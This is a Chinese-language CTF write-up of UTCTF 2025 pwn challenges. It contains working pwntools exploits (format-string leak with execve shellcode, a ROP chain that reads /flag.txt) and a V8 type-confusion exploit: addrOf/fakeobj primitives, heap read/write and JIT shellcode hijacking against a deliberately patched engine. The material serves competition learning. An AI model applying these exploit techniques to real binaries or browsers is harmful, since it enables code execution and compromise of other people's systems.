#UTCTF 2025 Writeup国赛前一天的一个国际赛,跟 N1 junior 的师傅们一起打一下。
#Tic Tac Toe全都是 gets,baby pwn
无限制的栈溢出可以随便打,溢出一下,覆盖掉 player 的那个 int 就可以 win 了
没写 exp,就不贴了。
#RETirement Plan存在一个对字母的检查,__ctype_b_loc 这个函数见到几次了,它返回的是指向字符属性表的指针,一般写法是 (*__ctype_b_loc())[v5[i]] & 0x100,可以保证线程安全。
题目有个无限制的 gets,还有个格式化字符串,而且没开 NX,所以可以先打印一个栈地址然后返回 main,再读入 shellcode 在栈上执行。
#!/usr/bin/env python3
from pwn import *
from sys import argv
proc = "./shellcode_patched"
context.log_level = "debug"
context.binary = proc
elf = ELF(proc, checksec=False)
libc = ELF("./libc.so.6", checksec=False)
io = remote('challenge.utctf.live',9009) if argv[1] == 'r' else process(proc)
if args.G:
    gdb.attach(io, "b *0x40063c")
payload = b"%17$pB".ljust(48, b"a") + p64(0x601051) + b"b" * 8
# payload += asm(shellcraft.sh())
payload += p64(elf.sym['main'])
io.sendlineafter(b": \n", payload)
stack_addr = int(io.recvuntil(b"Baa", drop=True).decode(), 16)
log.info(f"stack_addr => {hex(stack_addr)}")
shellcode = b"/bin/sh\x00"
shellcode += asm("""
mov rdi, r13
sub rdi, 0x120
xor rsi, rsi
xor rdx, rdx
mov al, 0x3b
syscall
""").ljust(40, b"\x90")
shellcode += p64(0x601051) + b"b" * 8 + b"c" * 8
shellcode += p64(stack_addr - 0x120)
io.sendlineafter(b": \n", shellcode)
io.interactive()
一开始的时候想用 pwntools 自带的 shellcode,但是有点长,后面部分字节会被修改掉,于是去 shell-storm 翻了翻,push rsp 执行后就会 dump,感觉也不太彳亍
所以自己手搓了一下。
另外学到了一个:
mov rbx, 0xFF978CD091969DD1
neg rbx
neg 指令可以把寄存器取反加 1,也就是用 0 减去 rbx。
#secboforw 题,比较坑的地方是题目用 socat 开的环境,然后占用了 3 4 文件描述符,以后打这种给了 dockerfile 的题本地通远程不通可以自己起一个 docker 看一下。
另一个注意的点是 open syscall 的时候 rsi/rdx 不能直接不管,rsi 是 access,rdx 是 permissions,前者是打开权限(rwx),后者只会在新创建文件时用到,所以前者不能不管(
from pwn import *
from sys import argv
proc = "./chal"
context.log_level = "debug"
context.binary = proc
elf = ELF(proc, checksec=False)
io = remote("127.0.0.1", 9000) if argv[1] == 'r' else process(proc)
if args.G:
    gdb.attach(io, "b *0x4019a3")
pop_rdi_ret = 0x000000000040204f
pop_rsi_ret = 0x000000000040a0be
pop_rdx_rbx_ret = 0x000000000048630b
pop_rax_ret = 0x0000000000450507
syscall = 0x0000000044EF59
flag = 0x4CA8E0
ans = 0x4CA900
payload = b"a" * 128 + b"b" * 8
payload += flat([pop_rdi_ret, 0, pop_rsi_ret, flag, pop_rdx_rbx_ret, 0x30, 0, elf.sym['read']])
payload += flat([pop_rdi_ret, flag, pop_rax_ret, 2, pop_rsi_ret, 4, pop_rdx_rbx_ret, 4, 4, syscall])
payload += flat([pop_rdi_ret, 5, pop_rsi_ret, ans, pop_rdx_rbx_ret, 0x30, 0, elf.sym['read']])
payload += flat([pop_rdi_ret, 1, pop_rsi_ret, ans, pop_rdx_rbx_ret, 0x30, 0, elf.sym['write']])
io.sendline(payload)
io.sendlineafter(b": ", b"/flag.txt\x00")
io.interactive()
#E-Crop part 2chrome v8,学完来打。
学完了,开打。
先看一下 patch:
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..3af3bea5725 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -1589,5 +1589,44 @@ BUILTIN(ArrayConcat) {
   return Slow_ArrayConcat(&args, species, isolate);
 }
+// Custom Additions (UTCTF)
+
+BUILTIN(ArrayConfuse) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Invalid type. Must be a JSArray.")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+  ElementsKind kind = array->GetElementsKind();
+
+  if (kind == PACKED_ELEMENTS) {
+    DirectHandle<Map> map = JSObject::GetElementsTransitionMap(
+        array, PACKED_DOUBLE_ELEMENTS);
+    {
+      DisallowGarbageCollection no_gc;
+      Tagged<JSArray> raw = *array;
+      raw->set_map(*map, kReleaseStore);
+    }
+  } else if (kind == PACKED_DOUBLE_ELEMENTS) {
+    DirectHandle<Map> map = JSObject::GetElementsTransitionMap(
+        array, PACKED_ELEMENTS);
+    {
+      DisallowGarbageCollection no_gc;
+      Tagged<JSArray> raw = *array;
+      raw->set_map(*map, kReleaseStore);
+    }
+  } else {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Invalid JSArray type. Must be an object or float array.")));
+  }
+
+  return ReadOnlyRoots(isolate).undefined_value();
+}
+
 }  // namespace internal
 }  // namespace v8
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 78cbf8874ed..872db196d15 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -426,6 +426,8 @@ namespace internal {
   CPP(ArrayShift)                                                              \
   /* ES6 #sec-array.prototype.unshift */                                       \
   CPP(ArrayUnshift)                                                            \
+  /* Custom Additions (UTCTF) */                                               \
+  CPP(ArrayConfuse)                                                            \
   /* Support for Array.from and other array-copying idioms */                  \
   TFS(CloneFastJSArray, NeedsContext::kYes, kSource)                           \
   TFS(CloneFastJSArrayFillingHoles, NeedsContext::kYes, kSource)               \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 9a346d134b9..99a2bc95944 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1937,6 +1937,9 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtin::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    // Custom Additions (UTCTF)
+    case Builtin::kArrayConfuse:
+      return Type::Undefined();
     // ArrayBuffer functions.
     case Builtin::kArrayBufferIsView:
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..95340facaad 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3364,53 +3364,10 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
-                       String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
   global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
-  global_template->Set(isolate, "printErr",
-                       FunctionTemplate::New(isolate, PrintErr));
-  global_template->Set(isolate, "write",
-                       FunctionTemplate::New(isolate, WriteStdout));
-  if (!i::v8_flags.fuzzing) {
-    global_template->Set(isolate, "writeFile",
-                         FunctionTemplate::New(isolate, WriteFile));
-  }
-  global_template->Set(isolate, "read",
-                       FunctionTemplate::New(isolate, ReadFile));
-  global_template->Set(isolate, "readbuffer",
-                       FunctionTemplate::New(isolate, ReadBuffer));
-  global_template->Set(isolate, "readline",
-                       FunctionTemplate::New(isolate, ReadLine));
-  global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
-  global_template->Set(isolate, "setTimeout",
-                       FunctionTemplate::New(isolate, SetTimeout));
-  // Some Emscripten-generated code tries to call 'quit', which in turn would
-  // call C's exit(). This would lead to memory leaks, because there is no way
-  // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
-    global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
-  }
-  global_template->Set(isolate, "testRunner",
-                       Shell::CreateTestRunnerTemplate(isolate));
-  global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
-  global_template->Set(isolate, "performance",
-                       Shell::CreatePerformanceTemplate(isolate));
-  global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-
-  // Prevent fuzzers from creating side effects.
-  if (!i::v8_flags.fuzzing) {
-    global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
-  }
-  global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
-
-  if (i::v8_flags.expose_async_hooks) {
-    global_template->Set(isolate, "async_hooks",
-                         Shell::CreateAsyncHookTemplate(isolate));
-  }
   return global_template;
 }
@@ -3719,10 +3676,12 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
             v8::Isolate::kMessageLog);
   }
+	/*
   isolate->SetHostImportModuleDynamicallyCallback(
       Shell::HostImportModuleDynamically);
   isolate->SetHostInitializeImportMetaObjectCallback(
       Shell::HostInitializeImportMetaObject);
+	*/
   isolate->SetHostCreateShadowRealmContextCallback(
       Shell::HostCreateShadowRealmContext);
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..ceb2b23e916 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2571,6 +2571,9 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           false);
     SimpleInstallFunction(isolate_, proto, "join", Builtin::kArrayPrototypeJoin,
                           1, false);
+    // Custom Additions (UTCTF)
+    SimpleInstallFunction(isolate_, proto, "confuse", Builtin::kArrayConfuse,
+                          0, false);
     {  // Set up iterator-related properties.
       DirectHandle<JSFunction> keys = InstallFunctionWithBuiltinId(
可以看到给了 JSArray 加了一个 confuse 方法,实现 PACKED_DOUBLE_ELEMENTS 和 PACKED_ELEMENTS 相互转化,复习一下知识点:
PACKED_DOUBLE_ELEMENTS -> 数组由原始 64 位双精度数组成,元素之间没有空洞(因此是 PACKED)PACKED_ELEMENTS ->  数组由指向其他 JS 对象的 v8 指针组成,元素之间没有空洞(因此是 PACKED)因此这个函数基本上意味着我们可以进行无限制的类型混淆,从而很轻松的构建一个 addrOf 原语和 fakeobj 原语。
首先构建一个 addrOf 原语用来泄漏 v8 堆中对象的地址:
function addrOf(obj){
	let a = [obj];
	a.confuse();
	return (a[0].f2i()) & 0xffffffffn;
}
这个很直观,不需要过多解释。
然后是 fakeobj:
function fakeobj(addr) {
	let a = [addr.i2f()];
	a.confuse();
	return a[0];
}
这个原语稍微解释下:当我们构建一个浮点数数组时,他的类型默认就是 PACKED_DOUBLE_ELEMENTS,这时调用 confuse() 变成 PACKED_ELEMENTS 后,他就对应变成了一个对象数组,这样我们之前放在数组头的 addr 就会被当作一个对象,也就是我们想要的 fake_obj。
接下来要拿到 v8 堆内的任意地址读写,思路是通过控制 JSArray 的 elements 来实现:构造两个数组 arbrw_arr 和 fake_arr,在 fake_arr 的 elements 内再伪造一个 JSArray 的结构,这个 fake_arr_elements 的 elements 字段修改为 arbrw_arr 的地址,使用 fakeobj 原语得到 fake_arr_elements 对应的对象 fakeobj,这样就成功伪造出了一个 fakeobj 数组,满足这个数组的 elements 指向另一个 JSArray 结构,这样修改 fakeobj[0] 相当于在修改 arbrw_arr->elements,然后再访问 arbrw_arr[0] 即可实现 v8 堆内任意读写。
首先构造一个数组 fake_arr:
const MAP_ADDR = 0x1cb86dn;
const PROPERTIES_ADDR = 0x725n;
let arbrw_arr = [1.1, 2.2, 3.3];
let fake_arr = [
	((PROPERTIES_ADDR << 32n) | MAP_ADDR).i2f(), // 伪造好不变的字段
	0x4141414141414141n.i2f() // 留出 length | elements 的空间
];
然后完整伪造 fake_arr 里的结构:
let fake_arr_addr = addrOf(fake_arr);
console.log("fake_arr_addr =>", fake_arr_addr.hex());
let fake_arr_elements_addr = fake_arr_addr + 0x54n;
let arbrw_arr_addr = addrOf(arbrw_arr);
console.log("arbrw_arr_addr =>", arbrw_arr_addr.hex());
fake_arr[1] = (4n << 32n | arbrw_arr_addr).i2f();
console.log(fake_arr_elements_addr.hex());
let fake_obj = fakeobj(fake_arr_elements_addr);
实现任意读写:
function write64(where, what) {
	fake_obj[0] = (6n << 32n | (where)).i2f();
	arbrw_arr[0] = what.i2f();
}
function read64(where) {
	fake_obj[0] = (6n << 32n | (where)).i2f();
	return arbrw_arr[0].f2i();
}
接下来一般有三种打法:
这里方法一实测下来失败了,原因是题目远程环境开启了 pkey 保护机制,详情参考这里
这里用方法二打,我们不用 WASM,而是使用 JIT 创建 RWX 区域,将 shellcode 放入其中。如果 V8 中的某个函数变得“热”,JIT 引擎就会对其进行优化。根据调用次数,它会触发 Turbofan 或 Maglev。如果我们创建一个返回 shellcode 的函数,它也会被放置在 RWX 区域中,因为它需要执行 shellcode。
// https://github.com/github/securitylab/blob/main/SecurityExploits/Chrome/v8/CVE_2023_3420/poc.js
function func() {
    return [1.9553825422107533e-246, 1.9560612558242147e-246, 1.9995714719542577e-246, 1.9533767332674093e-246, 2.6348604765229606e-284];
}
for (let i = 0; i < 200000; i++) func(0);
注意 JIT 的内存空间中存在 hole,因此需要使用特殊的 shellcode。
然后泄漏 function 的 code 字段,找到 rwx 段地址,并用 write64 原语替换为 shellcode 所在地址。
let func_addr = addrOf(func);
console.log("func_addr =>", func_addr.hex());
let code = read64(func_addr) >> 32n;
console.log("code =>", code.hex());
let rwx_addr = read64(code + 0x14n - 8n);
console.log("RWX addr =>", rwx_addr.hex());
let shellcode_addr = rwx_addr + 0x5cn;
console.log("shellcode_addr =>", shellcode_addr.hex());
write64(code + 0x14n - 8n, shellcode_addr);
func();
寻找 shellcode 所在地址时可以使用 gdb 的 search 工具:search -8 0xceb580068732f68 [anon_5555b7a00] 可以在指定段内搜索。